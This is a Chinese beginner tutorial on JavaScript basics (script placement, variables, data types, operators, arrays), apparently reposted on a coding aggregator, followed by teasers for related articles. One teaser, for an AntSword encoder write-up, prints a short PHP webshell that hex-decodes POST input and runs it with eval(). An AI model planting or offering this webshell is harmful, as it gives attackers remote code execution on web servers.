JavaWeb—js(1)

news2024/10/6 6:59:50

概述

javascript简称js
1.js的特点,基本语法,对象等
2.js的功能,用来操作页面元素,用户交互,浏览器交互,网络数据的请求

后期使用的更多的是js的框架
jquery.js  vue.js  react.js

JS相关概念

javascript是运行在客户端上的脚本语言,风格类似java。
 脚本语言:不需要编译;
 js在运行过程中通过浏览器中的js引擎逐行来进行解释并执行的。 

解释型语言; 
类java风格;
弱语言——写法不那么规范; 

解释型语言和编译型语言 

javascript是运行在客户端上的脚本语言,风格类似java。
 脚本语言:不需要编译;
 js在运行过程中通过浏览器中的js引擎逐行来进行解释并执行的。 

解释型语言; 
类java风格;
弱语言——写法不那么规范; 

 js的书写位置

  • 行内
  • 内部
  • 外部 

 

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>

   
</head>



<body>
    <h1>js基础</h1>
    <!-- js的书写格式
    1.行内书写
    2.内部书写
    3.外部书写

-->

<!--
    onclick : 代表用户点击按钮或者点击元素之后的监听事件
    console.log("xxx") 相当于java中的输出语句 System.out.println("xxxx");

    行内写法不推荐,一般就是在元素的点击事件中,调用一个js的函数
  -->
    <button onclick="console.log('你好世界')">我是一个按钮</button>
    
</body>

<!-- 引入外部js文件 -->
<script src="index.js">
// 如果script标签 引入了外部js文件,那么标签中的内容就没用了
    console.log("hello world")

</script>

<script>
    // js语言 在行内写法 需要在script标签中书写
    console.log("你好 我是内部js");
    console.log("你好");

    // 要求将script标签写在body的后边, 主要是为了防止页面元素获取失败
   var btn = document.querySelector("button");
   console.log(btn)
    
</script>


</html>

常的基本功能

 // console.log() 代表数据语句 在控制台中显示对应信息s
    // console.log("我是输出语句");


    //alert("弹出一个提示框") 
    // alert("我是一个提示");


    // 弹出一个带有确定和取消的按钮
    // 当前方法的返回值 true false 
    // console.log(confirm("是否要删除内容"))


    // 弹出一个带有输入框的提示
    // 会返回一个用户输入的内容,类似于java中Scanner
    // console.log( prompt("请输入手机号"));




    //通过js在页面上 加载元素
    //document 代表当前文档对象
    document.write('<div style="width:100px;height:100px;background-color:red;"></div>');

js的命名格则和规范

和java一样
在应用程序中,使用变量来作为值的符号名。变量的名字又叫做标识符,其需要遵守一定的规则。
一个 JavaScript 标识符必须以字母、下划线(_)或者美元符号($)开头;后续的字符也可以是数字(0-9)。因为 JavaScript 语言是区分大小写的,所以字母可以是从“A”到“Z”的大写字母和从“a”到“z”的小写字母。

除了每条语句后面的;可以忽略不写,建议加上

注释

  1. 单行注释 //

  2. 多行注释 /**/

字面量与变量

字面量是变量的字符串表示形式。它不是一种值,而是一种变量记法。
字面量:当给变量赋值时,等号右边都可以认为是字面量
 var a = 1   //1是字面量   
   var b = 'css'   /    /css是字面量   
   var c = [5,6,7]    //567是字面量  
   var d = {"my","box"}   //{"my","box"}是字面量

js声明变量

  /*
    js的变量声明赋值
    一般顺序是先声明 ,后赋值,和java一样
    不同点:顺序换了之后 有些情况也可以直接使用

    java:数据类型 变量名 = 具体的值
    // java是根据数据类型绝对 字面量的类型

    js:var(let,const) = 具体的值
    js是根据 字面量的类型来决定变量的数据类型

    */


    // 先声明 后附值
    //声明
    var name ; 
    //赋值
    name ="张三";
    console.log(name);


    // 只声明 不赋值
    var sex;
    console.log(sex);//undefined


    //不声明 只赋值
    gender = "男";
    console.log(gender) //正常


    //不声明 不赋值 
    console.log(className);//className is not defined

 

var let const的区别

 /*
    var let const 都是声明一个变量

    var作用域比较大(会自动提升变量的作用域),可以声明多个相同变量名的常量
    
    let 只在当前的块级作用域中使用
    const 声明一个只读常量
    */

    var a =10;
    var a =20;
    console.log(a);


    // if(false){
        let c =100;
        c=200;
    //     console.log(c);

    // }
    // console.log(c);

    // const 代表变量是一个只读常量 不能够修改值
    const d = 20;// Assignment to constant variable.
    d=30;

 

关键字

 break、case、catch、continue、default、delete、do、else、 finally、for、function、if、in、instanceof、new、return、 switch、this、throw、try、typeof、var、void、while、with

保留字

boolean、byte、char、class、const、debugger、double、enum、 export、extends、final、float、goto、implements、import、 int、interface、long、mative、package、private、protected、 public、short、static、super、synchronized、throws、 transient、volatile  

数据类型

js中虽然声明变量选择使用var或者let,但是依旧是有数据类型的,数据类型一共有8种;六种基本数据 类型,null,Object数据类型。


基本数据类型: undefined 、boolean、number、bigint、String、symbol;

 // boolean false true 
    // false 
    let boo1 = true; //true= 1  false =0
    let boo2 = false; //true= 1  false =0

    //布尔值只能是true或者false; 使用布尔值参加运算的时候,true转换为1,false转换为0; 
    console.log(boo1 + boo2);


    //number 包含整数和小数 理解为 java中的int double float类型
    //bigint 需要在字面量后面添加n 来表示
    let num1 = 100n;
    let num2 = 100.05;

    let numStr = "123";
    
    //通过Number() 将字符串转换为number数字类型
    let num3 = Number(numStr);
    //通过isNaN()函数判断 这个字符串是否不是数字
    console.log(isNaN(numStr))

    console.log(numStr);
    console.log(num3);

    // typeof 查看当前变量是什么数据类
    console.log(typeof num1)


    /*
    推荐使用 '字符串' ; 
可以通过字符串.length获取字符串的长度; 也可以使用+进行拼接字符串; 
*/

    let name = '张三';
    console.log(name.length)



    //     document.write('  <div class="box1">'+
    //     name+

    // '</div>'+

    // '<div class="box2">'+
    //    'box2'+

    // '</div>')

    // `` 反引号 模板字符串
    // 通过${} 可以在模板字符串中引用外部的变量名
    document.write(`
        
        <div class="box1">
          
        ${name}

    </div>
    
    <div class="box2">
        box3

    </div>
        `)

数据类型的转换

undefined和null的区别

可以对变量赋值为null: var 变量名 =null; 

undefined和null对比
undefined和null都表示“无,没有”,都是js中的数据类型
如果把变量a分别赋值undefined和null,这两种写法基本等价
如果应用在if语句中,则两者都会被自动转成false
区别:
null 空对象,赋值了的但是内容是空的
Undefined表示没有赋值

进行+1计算的时候 undefined是NAN
Null 还是1

你可以定义一个值为null,证明它是空的,但如果你定义它是undefined(未被定义的),逻辑上不合理,尽管你可以这样做

运算符

/*
    js和java中的运算符 完全一致
    算数运算符 + - & / % += -=...
    比较运算符 < > >= <= == != 
        js 特有的 ===  !== 
    逻辑运算符 && || & |
    位运算符

    三元运算符
    (逻辑表达式)?表达式1:表达式2

    */

   // == 只比较变量的值是否相同 ===比较变量的值和数据类型是否都相同

    let a = 10;
    let b ='10';
    // 忽略对象本生的数据类型 只比较值
    console.log(a==b);
    console.log(a===b);

 

js数组

 /*
    java中的数组 
    int [] arr = new int [10];
    int [] arr ={1,2,3,4};


    js中的数组
    // 使用new关键字创建数组:
    var 数组名字 = new Array();// 第二种方式: 通过字面量进行创建数组: 
    var 数组名字 =[元素1,元素2,...元素n]; 

    */

//    动态创建 创建一个长度为0的数组
    var nameArr = new Array();
    nameArr[1]=20;
    console.log(nameArr)
  // 静态创建
   var ageArr = [1,2,3,4,5,null,true,"123a",123n];//0-5的索引长度为6的数组
   console.log(ageArr)

   /*
   

   js数组和java的区别
  
   js数组不需要指定数据类型,可以将任何的元素存储进来

   如果在java中数组的索引为负数或者操作了最大索引 会提示indexoutofbounds错误
   但是在js中 不会有这个错误 只会提示为undefind

   在java中如果要在最大索引以外的索引上添加元素 那么需要数组扩容
   在js中不需要 直接添加就可以

   

   */

  console.log(ageArr[5])

  ageArr[6] = 100;
  console.log(ageArr)

数组转换字符串

 // 数组的操作
    console.log(  ageArr.toString())
    console.log( ageArr.join())
    console.log( ageArr.join("-"))
    console.log( ageArr.toLocaleString())

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1905111.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

python使用pywebview集成vue3和element-plus开发桌面系统框架

随着web技术越来越成熟&#xff0c;就连QQ的windows客户端都用web技术来开发&#xff0c;所以在未来&#xff0c;web技术来开发windows桌面软件也会越来越多&#xff0c;所以在此发展驱动之下&#xff0c;将最近流程的python与web技术相结合&#xff0c;使用vue3和element-plus…

蚁剑编码器编写——中篇

看第二个示例 hex编码 木马 <?php foreach($_POST as $k > $v){$_POST[$k]pack("H*", $v);} eval($_POST[ant]); ?>pack(“H*”, $v)是将 $v 转换为为二进制&#xff0c;也就是ASCII解码 编码器 module.exports (pwd, data) > {let ret {};for (…

C/C++ 代码注释规范及 doxygen 工具

参考 谷歌项目风格指南——注释 C doxygen 风格注释示例 ubuntu20 中 doxygen 文档生成 doxygen 官方文档 在 /Doxygen/Special Command/ 章节介绍 doxygen 的关键字 注释说明 注释的目的是提高代码的可读性与可维护性。 C 风格注释 // 单行注释/* 多行注释 */ C 风格注…

ESP32 步进电机精准控制:打造高精度 DIY 写字机器人,实现流畅书写体验

摘要: 想让你的 ESP32 不再仅仅是控制灯光的工具吗&#xff1f; 本文将带你使用 ESP32 开发板、步进电机和简单的机械结构打造一个能够自动写字的机器人。我们将深入浅出地讲解硬件连接、软件代码以及控制逻辑&#xff0c;并提供完整的项目代码和电路图&#xff0c;即使是 Ardu…

AI与编程:一个学生的心路历程与思考

前言 大家好&#xff0c;本人是在一个在校的大学生&#xff0c;方向是前端语言。爱好是码代码和看一点小新闻&#xff0c;游戏也是喜爱的。其实本篇文章的想法是源于网上一些人对AI以及对前端的看法&#xff0c;看完网上的评论后我也是有感而发。本篇文章的讨论中心也是围绕着A…

我国网络安全领域有哪些法律法规?主要内容是什么?

1. 背景介绍 网络信息安全方面的法规在全球范围内都有相应的立法&#xff0c;我们主要的立法有《网络安全法》、《密码法》、《数据安全法》以及《个人信息保护法》。当前也有一些相关的条例和管理办法&#xff0c;接下来就为大家一一介绍。 2. 法规介绍 在中国&#xff0c;…

昇思25天学习打卡营第14天|基于MindNLP的文本解码原理

基于MindNLP的文本解码原理 文本解码 文本解码是自然语言处理中的一个关键步骤,特别是在任务如机器翻译、文本摘要、自动回复生成等领域。解码过程涉及将编码器(如语言模型、翻译模型等)的输出转换为可读的文本序列。以下是一些常见的文本解码方法和原理: 1. 自回归解码:…

2.3.2 主程序和外部IO交互 (文件映射方式)----C#调用范例

2.3.2 主程序和外部IO交互 &#xff08;文件映射方式&#xff09;----C#调用范例 效果显示 1 说明 1 .1 Test_IOServer是64bit 程序&#xff0c; BD_SharedIOServerd.dll 在 /Debug文件夹中 1 .2 Test_IOServer是32bit 程序&#xff0c; BD_SharedIOClientd.dll (32bit&#…

安卓的组件

人不走空 &#x1f308;个人主页&#xff1a;人不走空 &#x1f496;系列专栏&#xff1a;算法专题 ⏰诗词歌赋&#xff1a;斯是陋室&#xff0c;惟吾德馨 目录 &#x1f308;个人主页&#xff1a;人不走空 &#x1f496;系列专栏&#xff1a;算法专题 ⏰诗词歌…

六、数据可视化—flask框架入门(爬虫及数据可视化)

六、数据可视化—flask框架入门&#xff08;爬虫及数据可视化&#xff09; 1&#xff0c;数据可视化简介2&#xff0c;flask&#xff08;1&#xff09;创建flask项目&#xff08;2&#xff09;开启debug模式&#xff08;3&#xff09;通过访问路径传递参数&#xff08;4&#x…

【鸿蒙学习笔记】页面布局

官方文档&#xff1a;布局概述 常见页面结构图 布局元素的组成 线性布局&#xff08;Row、Column&#xff09; 了解思路即可&#xff0c;更多样例去看官方文档 Entry Component struct PracExample {build() {Column() {Column({ space: 20 }) {Text(space: 20).fontSize(15)…

C语言 指针和数组——指针和二维数组之间的关系

目录 换个角度看二维数组 指向二维数组的行指针 按行指针访问二维数组元素 再换一个角度看二维数组 按列指针访问二维数组元素 二维数组作函数参数 指向二维数组的行指针作函数参数 指向二维数组的列指针作函数参数​编辑 用const保护你传给函数的数据 小结 换个角度看…

Mysql explain语句详解与实例展示

首先简单介绍sql&#xff1a; SQL语言共分为四大类&#xff1a;数据查询语言DQL&#xff0c;数据操纵语言DML&#xff0c;数据定义语言DDL&#xff0c;数据控制语言DCL。 1. 数据查询语言DQL 数据查询语言DQL基本结构是由SELECT子句&#xff0c;FROM子句&#xff0c;WHERE子句…

Kafka(一)基础介绍

一&#xff0c;Kafka集群 一个典型的 Kafka 体系架构包括若Producer、Broker、Consumer&#xff0c;以及一个ZooKeeper集群&#xff0c;如图所示。 ZooKeeper&#xff1a;Kafka负责集群元数据的管理、控制器的选举等操作的&#xff1b; Producer&#xff1a;将消息发送到Broker…

k8s学习之cobra命令库学习

1.前言 打开k8s代码的时候&#xff0c;我发现基本上那几个核心服务都是使用cobra库作为命令行处理的能力。因此&#xff0c;为了对代码之后的代码学习的有比较深入的理解&#xff0c;因此先基于这个库写个demo&#xff0c;加深对这个库的一些理解吧 2.cobra库的基本简介 Git…

《昇思 25 天学习打卡营第 11 天 | ResNet50 图像分类 》

《昇思 25 天学习打卡营第 11 天 | ResNet50 图像分类 》 活动地址&#xff1a;https://xihe.mindspore.cn/events/mindspore-training-camp 签名&#xff1a;Sam9029 计算机视觉-图像分类&#xff0c;很感兴趣 且今日精神颇佳&#xff0c;一个字&#xff0c;学啊 上一节&…

张量分解(1)——初探张量

&#x1f345; 写在前面 &#x1f468;‍&#x1f393; 博主介绍&#xff1a;大家好&#xff0c;这里是hyk写算法了吗&#xff0c;一枚致力于学习算法和人工智能领域的小菜鸟。 &#x1f50e;个人主页&#xff1a;主页链接&#xff08;欢迎各位大佬光临指导&#xff09; ⭐️近…

MybatisPlus实现插入/修改数据自动设置时间

引言 插入数据时自动设置当前时间&#xff0c;更新数据时自动修改日期为修改时的日期。 使用MybatisPlus的扩展接口MetaObjectHandler 步骤 实现接口 实体类加注解 实现接口 package com.example.vueelementson.common;import com.baomidou.mybatisplus.core.handlers.M…

GraalVM上的多语言混合开发

上篇文件我们介绍了GraalVM强大的静态编译功能,能够让Java应用程序摆脱虚拟机的束缚,像其它本地编译的应用一样直接运行。那么GraalVM的神奇之处仅限于此吗?今天我们再来看看它的另一个重要特性—多语言混合开发 多语言平台 Java并不是唯一运行在JVM上的语言,这个我们都应…

Qt/C++音视频开发78-获取本地摄像头支持的分辨率/帧率/格式等信息/mjpeg/yuyv/h264

一、前言 上一篇文章讲到用ffmpeg命令方式执行打印到日志输出&#xff0c;可以拿到本地摄像头设备信息&#xff0c;顺藤摸瓜&#xff0c;发现可以通过执行 ffmpeg -f dshow -list_options true -i video“Webcam” 命令获取指定摄像头设备的分辨率帧率格式等信息&#xff0c;会…